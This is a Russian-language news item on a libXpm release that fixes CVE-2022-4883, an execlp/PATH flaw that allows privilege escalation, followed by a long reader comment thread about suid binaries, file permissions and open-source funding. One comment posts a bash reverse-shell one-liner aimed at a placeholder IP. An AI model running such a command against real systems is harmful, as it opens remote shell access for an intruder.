Опубликован корректирующий выпуск библиотеки libXpm 3.5.15, развиваемой проектом X.Org и применяемой для обработки файлов в формате XPM. В новой версии устранены три уязвимости, две из которых (CVE-2022-46285, CVE-2022-44617) приводят к зацикливанию при обработке специально оформленных файлов XPM. Третья уязвимость (CVE-2022-4883) позволяет запустить произвольные команды при выполнении приложений, использующих libXpm. При запуске связанных с libXpm привилегированных процессов, например, программ с флагом suid root, уязвимость даёт возможность поднять свои привилегии...Подробнее: https://www.opennet.me/opennews/art.shtml?num=58524
> При запуске связанных с libXpm привилегированных процессов, например, программ с флагом suid root, уязвимость даёт возможность поднять свои привилегии.Это кто такой умный ставит левым прогам суид-рут?!
Libxpm классика, которая может всплыть где угодно, раньше вроде в x-сервере использовалась.
И много у тебя троянов внутри суидных прог?
> Libxpm классика, которая может всплыть где угодно, раньше вроде в x-сервере использовалась.Вот в какой suid'ной программе она могла бы потребоваться? Даже если забыть о том что в линухе suid уже довольно давно считается "фи" и почти не используется.
Ну "почти" не почти, беру первый попавшийся сервер со свежайшим RHEL 9 и все еще вижу сьюды в рута в программах, которые используются постоянно в работающей системе, типа: mount/mount.nfs, unix_chkpwd, at, crontab, su, passwd/gpasswd, fusermount. Впрочем, полагаю что CAP_SETUID, позволяющий сменить uid на рута, это настолько сильная операция, что тут безопасности от отказа от сьюд почти и не будет (хотя какие-то эксплоиты, наверное, предотвратить можно).
> и все еще вижу сьюды в рута в программах, которые используются
> постоянно в работающей системе, типа: mount/mount.nfs, unix_chkpwd, at, crontab,
> su, passwd/gpasswd, fusermount.И которой из них сабжа надо?
>>Это кто такой умный ставит левым прогам суид-рут?!а спроси.
ни кто не заметил, что даже если дать
~/.local/share/TelegramDesktop/log.txt root ro, то всё равно он переписывается ?т.е. при запуске юзверькой прилоги переписываеся файл с доступом только рута.
вот меня это как-то напрягает.
Потому что ты ничего не понимаешь. Права на каталог TelegramDesktop - чьи? Вот чьи права - тот и может удалять-добавлять файлы в этом каталоге. Что такое "переписать"? Старый файл - удаляется, новый - создаётся, обе операции зависят от прав на _каталог_.Тебе нужен "закрепляющий бит": каталог с установленным sticky-битом означает, что удалить файл из этого каталога может только владелец файла или root. Не забывай, если выше ещё есть каталоги.
спсзы. я не админ, я оффтоп не люблю.
ззы. совсем не люблю.
>>Потому что ты ничего не понимаешь.....
>>...нужен "закрепляющий бит": каталог с установленным sticky-битом означает,а можно чиста каннеретна \../_ _\../
что сделать, чтоб в файле нулевой длины ~/.local/share/TelegramDesktop/log.txt
запускаемая программа (телеграм) ничего не могла записать или измемить?
т.е. задача блокировать ведение этого лога.
Гугли setattr
> чтоб в файле нулевой длины ... запускаемая программа (телеграм) ничего не моглачастенько встречается такая задача, погасить неуёмное приложение. Инструменты все озвучены выше: закрепление и рут-владелец (и на группу тоже).
sudo chattr +ai /path/to/file
> т.е. при запуске юзверькой прилоги переписываеся файл с доступом только рута.А owner у него кто?
> вот меня это как-то напрягает.
Chattr +i ему поставь. Или если не хочется чтобы там что-то было, можно убрать файло, создать диру с этим именем, и если программа в принципе может после этого работать - ну, ой, в диру дописать что либо она уже не сможет. Получит "Is a directory" как отлуп.
спс, разорбрался.конкретно телеграмм отказывается запускаться с отбитым логом.
очень, очень наглый кусок дуровкода.
а если залинковать это в /dev/null:
$ rm -f -- ~/.local/share/TelegramDesktop/log.txt
$ ln -s ~/.local/share/TelegramDesktop/log.txt /dev/null
(и/или то же самое после запуска дуровграма)
что будет ?ps: man socat вдруг появятся еще идеи.
разумеется сслыка будет прибита, а на ёё месте будет новый файл.PS. это первое, что было испробовано.
тоже самое с ~/.xsession-errors от lightdmлечится ковырянием сырца с переносом в /tmp который на tmpfs
> конкретно телеграмм отказывается запускаться с отбитым логом.Ггг лол, ну, я бы если пользовался этим крапом вгрузил бы LD_PRELOAD'ом libfxxxoff.so - который так то open() с вон тем аргументом как-бы сделает. Теоретически. Практически, делать что-то с файлами в фс при этом совершенно не обязательно, только имитировать что все прокатило. Можно подумать, оно еще и проверять содержимое будет. Главное грамотно с314ть что все збс :)
нихтфирштейн.
> Атака сводится к размещению в доступном пользователю каталоге, присутствующем в списке PATH, собственных исполняемых файловНу а это вообще жесть :)
По сути, не отличается от подмены утилиты или библиотеки на левую. Вы обречены.
> не отличается от подмены утилиты или библиотеки на левуюВот с этого и надо было статью начинать: "сначала надо подменить систему".
warning! Пользователь может запустить под собой какую-то программу!
Warning. Программа с suid бит может запустить под root какую-то программу вместо gzip
А что за программа-то?
> А что за программа-то?bash -i >& /dev/udp/1.2.3.4/1337 0>&1
С правами рута и с использованием libXpm?Отсыпь.
> Отсыпь.Но, тебе уже и так хватит :)
Но если хочешь чтоб быстрей отпустило, дай доступ на ограниченый экаунт в которм суидишная компроментированная/вулнерабная прожка есть
Так вот мне и интересно было, где это в дистрибутивах встречается графическая тулза с суидом и libXpm.
> Так вот мне и интересно было, где это в дистрибутивах встречается графическая
> тулза с суидом и libXpm.А-а-а, вы о этом, сори, не понял... к сожалению помимо безобидного текстового XPM, есть еще
```
<xmp>find . -perm /6000
./usr/bin/fusermount3
./usr/bin/wall
./usr/bin/passwd
./usr/bin/newgrp
./usr/bin/gpasswd
./usr/bin/chsh
./usr/bin/su
./usr/bin/expiry
./usr/bin/mount
./usr/bin/umount
./usr/bin/sudo
./usr/bin/mlocate
./usr/bin/chage
./usr/bin/ssh-agent
./usr/bin/write.ul
./usr/bin/dotlockfile
./usr/bin/crontab
./usr/bin/chfn
./usr/sbin/unix_chkpwd
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/x86_64-linux-gnu/utempter/utempter
./usr/lib/openssh/ssh-keysign
./usr/local/share/fonts
./run/log/journal
./var/log/journal
./var/log/journal/0289d16f3787f03a0475a594054e4e77
./var/mail
./var/local</xmp>
```
Зачем ты привёл кучу текстовых утилит, которые к libXpm никаким боком отношения не имеют? Не говоря уже про логи?Ты ChatGPT, что ли?
> Зачем ты привёл кучу текстовых утилит,Это /usr/bin/passwd текстовая утилита ?
> которые к libXpm никаким боком отношения не имеют?
А мы разве не отошли он libXPM и говорим про программы которые работают под SUID/GUID ?
>Не говоря уже про логи?
Это не логи, это выхлоп от
find . -perm /6000
который в данном случае искал на ванильном дебиане все программы от корня на которых установлен SUID/GUID
> Ты ChatGPT, что ли?
Платить калеки ChatGPT чтоб развлекать местных анонимов?! А вы батенька шутник...
> Это /usr/bin/passwd текстовая утилита ?Это троллинг тупостью? Да, /usr/bin/passwd - это текстовая утилита.
> А мы разве не отошли он libXPM и говорим про программы которые
> работают под SUID/GUID ?Для эксплуатации уязвимости требуется а) программа, использующая libXpm и б) программа, имеющая suid бит.
Условия а) и б) должны выполняться одновременно.
Я таких программ в современном дистрибутиве не нашёл. Теперь ты мне приводишь вывод find, в котором логи и куча консольщины. Зачем?
> Это не логи, это выхлоп от
> find . -perm /6000
> который в данном случае искал на ванильном дебиане все программы от корня
> на которых установлен SUID/GUIDИ нашёл логи, потому что там на каталогах SGID.
> Это троллинг тупостью? Да, /usr/bin/passwd - это текстовая утилита.О-о-о, понятно, еще один умный пуп, ну-ну смакуй дальше сам какой ты "умный"
Ядро - одна большая чёрная дырка. Остальные проги тоже, даже sudo который со времён мамонтов, дырявый до сих пор. ОпенБСД занесли за бэкдоры и дырки, тоже не секрет и очень давно уже.Ну т.е., вся наша вера в жопарукий-сорс - тлен.. Успокаивает порой лишь что wine хоть работает, и то слава богу, ну хоть одна хорошая новость. Как жить то теперь?
Без таких нытиков как ты - нормально жить
Зуммер узнал, что мир не идеален
Да откудаж вы рождаетесь то инородные такие, что аж каждый вдох и выдох это уже полноценный вывод.
Кто-то прав, вас уже многова-то..
Хорошо жить на Винде 11
Естественно, ведь на Винде нет дыр. Весь мир знает, что Майкрософт -- это фирма от самого бога, в которой работают трудолюбивейшие как Стаханов и умнейшие как Эйнштейн специалисты. Они любят пользователя и заботятся о нём, поэтому не допущают никаких дыр, никаких уязвимостей в принципе.
Те, кто попадают в рай, являются свидетелями того, что у самого бога стоит Винда.
А кто попадает в ад... Ну, не будем о плохом. =)
Ну не просто же так в линуксе демоны
И зомби.И в винде иконки и службы.
А в стенах камеры ещё.
> Ядро - одна большая чёрная дырка.Ога, блин, выполняет запросы программ, такое сякое. Если запросы программ не выполнять - знаете как хакеры обломаются?! Кстати это работает. Скажем, у меня есть библа которая заворачивает попытки файлы открывать. Программы очень прикольно обижаются когда им почти ничего открыть не дают. Правда далеко не все их них потом работать согласны.
> Ну т.е., вся наша вера в жопарукий-сорс - тлен.. Успокаивает порой лишь
> что wine хоть работает, и то слава богу,Так что можно позапускать и виндовые трояны милые сердцу прожженого маздайца? Тут уж кому что.
Ну они скоро подарят всяким докерам фичу невозможности пользователю менять переменную PATH. Скажите переменным окружения прощай! Депрекатед!
Да пусть меняет PATH, сколько влезет. Вопрос в другом: какого фига разрешено недоверенному юзеру запускать что-то оттуда, куда он имеет права на запись? Админ локалхоста забыл про noexec?
Да не, ну это херня, у меня другой вопрос: каким образом этот юзер себе suid root-то организует?
А так - ну запускает непривилигерованный юзер что-то, в чём проблема-то? :)
Как это в чем? А эксплоит запускает тогда что. Шелл хостинги не дают запускать из хоумов.
> при помощи вызова execlp() запускает внешние утилитыНу это вообще... смузикод из 80ых что-ли? system("gzip my shit"); А всё потому что нет нормального LinAPI?
Если кто будет возмущаться, я тоже делал exec для всяких костылей, и знаю, что иногда надо, но это грязный хак, и не в проде же )
> А всё потому что нет нормального LinAPI?А как ты себе это представляешь в принципе? Абсолютно все утилиты на компе должны идти с lib<util_name>.so и каждая утилита должна линковаться с каждой библиотекой другой утилиты?
В Винде можно dll связать с другой dll.
В java можно динамически загружать нативные библиотеки.
Почему в libxpm нельзя как то так?Или просто скопипастить код распаковки в исходный код lixpm и не запускать неизвестно какие исполняемые файлы
> В java можно динамически загружать нативные библиотеки.Офигеть, вот это круто! Это dlopen() что-ли?
System.loadLibrary
ну вон в винде дллки также инжектят разница-то в чем?
Потому что unix это не винда
> В Винде можно dll связать с другой dll.В Linux тоже так можно. И чего?
> В java можно динамически загружать нативные библиотеки.
Да охренеть! В нативных программах, только подумайте, тоже.
> Почему в libxpm нельзя как то так?
При желании можно. Просто видимо авторы были ленивые и это показалось им сложнее чем вон то. А чо, в винде тоже можно CreateProcess* сделать из либы если захотеть.
> Или просто скопипастить код распаковки в исходный код lixpm и не запускать
> неизвестно какие исполняемые файлыСправедливости ради - найти программу которую еще и огреть вон тем удастся придется постараться.
В идеальном мире - примерно да. Функции, алгоритмы, код - в ДЛЛках, CLI и фронтенд - на чём хочешь. А если вспомнить rundll32, то, с натяжкой, КЛИ у нас уже готов... )
Конкретно по сабжу - я реально удивлён что там не подключили какую-нибудь библиотеку.
В данном случае распаковка не является задачей libXpm. Программа может напрямую вызвать zlib, и разжатые данные передать libXpm
В полноценных операционных системах еще с 90х годов у каждой программы нужные библиотеки лежат в каталоге с этой самой программой и только общесистемные лежат в каталоге операционной системы, где-нибудь в C:\OS2\DLL или C:\Windows\System32.
Гос.пади, xpm - это битмапы в формате сишного массива что-ли? JSON и смузихлёбство из прошлого века? Всю жизнь его ненавидел. Зато проприетарасты его обожают.
И я его обожаю. В CDE божественные xpm'ные иконки
А если бы они были png'шные, было бы не то?
ощущения не те
Дело не в xpm, а что тебе кто-то может ls, например, подменить, а ты потом sudo ls сделаешь (это так, для наглядности, про что "уязвимость").
Да это-то понятно. Просто вспомнил, что xpm такое. Пока у тебя диск завален xpm-ками - это всё смешно, а, вот, когда у тебя бинарники со вSHITыми в виде данных (а не, хотя бы, ресурсов) картинками - вообще грусть. Особенно если это прошивки какие-нибудь.
>Уязвимость вызвана особенностью работы libXpm со сжатыми файлами XPM - при обработке файлов XPM.Z или XPM.gz библиотека при помощи вызова execlp() запускает внешние утилиты распаковки (uncompress или gunzip)Очень хорошая архитектура, настоящие программисты на си, превзошли сами себя
Хотя я тоже писала код запускающий внешний исполняемый файл для ковертации, который в прод работает.
Но там ни путь ни параметры от пользователя не приходят.
> Очень хорошая архитектура, настоящие программисты на си, превзошли сами себяА что не так? У вас там в расте особенности работы с памятью, а у нас особенность работы с libXpm
> Очень хорошая архитектураВерно, классическая UNIX, позволяет менять алгоритм сжатия без изменения кода приложения и перекомпиляции.
Менять алгоритм сжатия на запуск произвольного кода?
Может быть истинно понятная и безопасная ОС и должна так работать, без всяких шуток.
>запускает внешние утилиты распаковки (uncompress или gunzip)Вон из профессии за такое решение.
>Уязвимость устранена заменой вызова execlp на execl с использованием абсолютных путей к утилитам
Вон из профессии за такой фикс.
А если бы они использовали другой язык проблем было бы ещё больше. В том числе с программистами и их решениями.
Какой нахрен другой язык, им дали zlib - нет "хочу дёргать exec". Необучаемые.
Положить zlib.so в PATH. Повторить эксперимент
ldconfig использует $PATH?
Давай tar ещё выгони, дурик.
tar давно ффтопку, ибо его разрабы не понимают в архитектуре и делали его абы-как и в результате он выглядит как неудобное в использовании нагромождение говна. Рано или поздно всё это говно придётся разгребать и делать по-человечески. Только почему опять мне?
при обработке файлов XPM.Z или XPM.gz библиотека при помощи вызова execlp() запускает внешние утилиты распаковкиА libz поюзать вообще не судьба была?
Ну, тогда бы сейчас бы читали новость об очередном переполнении int и выходы за пределы буфера.
Выходить? Не надо так.
Пока что только новость о выходе за пределы сознания.
Офигенный код и офигенный фикс...
Кто там пыхеров и жсников за eval ругал? Ваш выход!
В это проблема GNU/Xorg библиотек. Десятки тысяч исходных кодов, которые не верифицировались и не обновлялись на протяжении, например 11 лет! 20 лет! да там есть и такое.
У вейланда другая проблема - падает и глючит.
>GNU/XorgКонечно, FSF был бы не против этого.
А ведь можно было использовать библиотеки реализующие декомпрессию z/gz и не вызывать в коде библиотеки (библиотеки!!) внешние исполняемые файлы.
Юникс вэй. Утилита > утилита > утилита.
Утилита > утилита > утилита > You're pwned
Блеск и нищета опенсорса.Врачи пишут планировщики задач, студни и всякие бoмжы пишут свои утилитки "лишь бы работало", потом приходят другие и лепят на основе этих поделок что-то свое, потом это слепливают в большой дурнопахнущий ком и выкладывают в прод.
А потом оказывается что пол инета зависит от стремной либы, автор которой давно на нее забил, которая никогда не ревьювилась и не обновлялась уже годы...
Колосс на глиняных ногах!
Зато в ынтерпрайзе всё не так. Сеньёры молятся на новые версии библиотек и дают по рукам джунам, которые делают свои! :D
В ынтерплайзе никто не будет писать либу просто так. По крайней мере в рабочее время.Еще забыл про основной аргумент за опенсорс - бесплатность.
Спросишь 'Чем этот фоторедактор лучше чем стандарт индустрии?'
- 'Он же бесплатный!' ответят тебе.
- 'Но он же кривой, косой и багованый!'
- 'Зато бесплатный!'
Ох, это сладкое слово халява!Те кто будут писать что проприетарный софт тоже ничего не должен - вы явно не доросли до SLA)))
Свободный и бесплатный это разные вещи.
А я и не утверждал, что это одинаковые вещи.
Просто настоящих идейных крайне мало, но они хоть вызывают уважение.Но большинство пользователей опенсорца интересует только аспект бесплатности.
Они просто качают ибо халява, крайне редко куда-то донатят и еще реже делают вклад написание кода/ревью/тестированием/дизайном. Подавляющему большинству даже лень багрепорты отправлять.И единственный их вклад в развитие опенсорс - рассказать другу 'о, я тут беспланую аппу скачал!'
Это же все видно.
Посмотрите сколько пользователей у того же firefox, и сколько у них было донатов от 'физлиц' И заодно кол-во контрибьюторов в их репы.
Или у LibreOffice? Или GIMP?
Каждый сотый? Каждый тысячный? Или все еще хуже?Людям как-то объяснили про бесплатность опенсорса, а про то что за свободу нужно платить - нет.
В итоге развивается только во что вложились корпорации. А пользователи ноют 'праклятые карпарасты испортили мой опенсорс'
Да он никогда их и не был!
> за свободу нужно платить - нетСвобода, за которую надо платить - это платная временная вольная от хозяина
По корпорациям и прочему - почему-то тот же опенсорс и его адептов вовсе не смущает, что абсолютное большинство на его благо трудится за доброе слово даже без прав на собственный код( а то и за пинок под жО за несоблюдение кок’ов )
Что вовсе не мешает руководству тех структур за счёт добровольных пожертвований платить самим себе зарплату и почти непрерывно кататься по всему миру и закатывать балы-пиры разумеется в рамках популяризации попенсорса вместо денежной поддержки участников.
Даже не зарплатных а хотя бы уровня выплаты за годную фичу. Даже полтишок - мелочь, а приятно.В общем, уверен ли анон-знаток-всего-на-свете, что донаты идут именно на работу над продуктом и что за всю работу над проектом сама контора платит конечным разработчикам ?
Ну, чтобы иметь хоть какое-то минимальное право требовать денег за фичи
> абсолютное большинство на его благо трудится за доброе словоА потому что это не правда.
'The number of unpaid developers may be stabilizing, with these developers contributing 8.2% of contributions'
Источник: Annual Kernel Development Report
2017.
Это при том что в 2014 было 11.8%. А после ковида думаю их стало еще меньше, но цифры искать лень.Т.е. абсолютное большинство трудится за хрустящую бумажку корпораций, а не за доброе слово.
И делать они будут то что им скажет корпоративный менеджер (за редким исключением супер крутых и распиаренных чуваков)Более того, если глянуть другие отчеты, то там тоже куча всего интересного.
Напр. из '2022 Linux Foundation Annual Report' секция MENTORSHIP
- 70% чуваков из Индии
- 62% чуваков с не законченным колледжом и 23% с законченным
- High school или master degree есть только у 7.6% и 4.1% соответственно
- 52.9% это lower middle class (которые скорее всего надеятся найти работу в каком-то intel/ibm/redhat...)
В это будущее линукса)))
> платить самим себе зарплатуА потому что они копируют корпоративную структуру от которой и получают деньги.
Поэтому и какая-то глава мозилы выплачивала себе миллионы баксов, прям как в фирмах выплачивают золотые парашюты.Но нас вроде это парить не должно, это ж практические все деньги гугла?
> донаты идут именно на работу над продуктом и что за всю работу над проектом сама контора платит конечным разработчикам
Разумеется я этого не могу гарантировать. Более того, сейчас, думаю, они будут просыраться на банкеты и всякое дайверсити.
Просто обычные пользователи уже проиграли. Опенсорс нашел свой путь развития в видеслияния с корпами и будет отрабатывать их хотелки.
А пользователи могут только ныть на форумах про очередной системД, никак не влияя на направление развития продукта.
Раньше на сайте Криты писалась сумма пожертвований. Потом вроде убрали, чтобы не позориться.
> никто не будет писать либу просто такдык за деньги же
в отечественном ынтерпрайзе токо и делают, что используют бесплатные либы. а кто считает, что это не так, тот явно не дорос
>В ынтерплайзе никто не будет писать либу просто такАХАХАХАХА
> Те кто будут писать что проприетарный софт тоже ничего не должен -
> вы явно не доросли до SLA)))Однако в лицензиях проприетарного софта почему-то написано про AS IS. Да, некоторые еще и читают это.
> В ынтерплайзе никто не будет писать либу просто такТо-то у "ынтерплайза" сейчас версионная диарея.
> В ынтерплайзе никто не будет писать либу просто так.
> По крайней мере в рабочее время.Ну почему же, вполне будет.
Только если это не согласовано с конторой, либо будут разборки о том кому код принадлежит, либо - сколько штрафа должен заплатить сотрудник за неисполнение обязанностей( т.е что на работе занимался не работой а черти чем, но зарплату ему платили будто бы он работал )
>>В ынтерплайзе никто не будет писать либу просто так.:D :D :D :D :D Не реально смешно. Чел никогда не видел ынтерплайза? Зачастую, он чуть меньше чем полностью состоит из 7 колёсных велосипедов.
> Врачи пишут планировщики задач, студни и всякие бoмжы пишут свои утилитки "лишь бы работало", потом приходят другие и лепят на основе этих поделок что-то свое, потом это слепливают в большой дурнопахнущий ком и выкладывают в прод.Святая наивность, ты никогда не видел коммерческой разработки изнутри.
https://xkcd.com/2347/
Странно, что не написали сколько лет этой уязвимости....
Или им было стыдно это писать,
или все кто знал уже ущли на пенсию.
замена системных экзешников на троянов? Да постарше тебя уж.
Угар, конечно, как в тут
папуасы ругают классику программирования под юникс — т.н. shell out. А ведь это неотъемлемая часть «юникс-философии», за которую в комментариях порой убить готовы. Как же так выходит, половина комментаторов TAOUP не читала? Грешновато.